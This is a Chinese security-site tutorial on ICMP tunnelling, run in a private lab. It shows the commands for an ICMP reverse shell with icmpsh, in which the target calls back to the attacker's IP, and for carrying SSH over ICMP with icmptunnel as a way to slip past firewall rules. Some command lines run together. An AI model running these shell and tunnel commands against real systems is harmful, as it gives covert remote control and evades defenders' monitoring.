freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ICMP隧道的应用
2020-06-01 14:43:20



  ICMP简介  

ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ICMP使用IP的基本支持,就像它是一个更高级别的协议,但是,ICMP实际上是IP的一个组成部分,必须由每个IP模块实现。


  icmpsh简介  

icmpsh 是一个简单的基于icmp协议反弹shell的程序,性能较为良好,在主机上运行没有什么权限要求。项目地址
测试环境:

  • kali ip:192.168.1.103

  • win 2008 ip:192.168.1.107
    先在kali里安装icmpsh。


git clone https://github.com/inquisb/icmpsh.git

然后在kali上运行icmpsh,但是再次之前需要修改下一些配置,禁用对ping的响应回复,防止内核对ping数据包进行响应,影响程序。

sysctl -w net.ipv4.icmp_echo_ignore_all=1

服务端开启监听。

cd icmpshpython icmpsh_m.py <attackers-IP> <target-IP>python icmpsh_m.py 192.168.1.103 192.168.1.107

然后将项目下的icmpsh.exe放到靶机上去,执行命令

icmpsh.exe -t <attacker's-IP>icmpsh.exe -t 192.168.1.103

191102_windows.png191102_kalishell.png



  icmp隧道  

ICMP隧道是通过ICMP数据包上的TCP连接建立隧道的一种方法。在这里,我们将访问由ICMP数据包封装的ssh会话。因此,会在第3层建立TCP连接,将其封装为icmp数据包。
环境:
kali:

  • eth0:192.168.1.103

  • tun0: 10.0.1.2

ubuntu:

  • ens33:192.168.1.117

  • tun0: 10.0.1.3
    在两边机器分别操作:

git clone https://github.com/jamesbarlow/icmptunnel.gitcd icmptunnelmake

然后进行设置网卡操作。

./icmptunnel -sCtrl+zbg/sbin/ifconfig tun0 10.0.1.2 netmask 255.255.255.0

191102_tun0.png

同理在ubuntu上执行同样命令,将ip改成10.0.1.3.
然后通过ssh连接即可。
因为一些问题,我这里连不上ssh。


  总结  

实际中,可以通过 wireshark,进行抓包能观察到,走的协议是第三层的协议,在一定程度上能绕过防火墙检测规则。


# ICMP # ICMP隧道 # ICMPSH
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者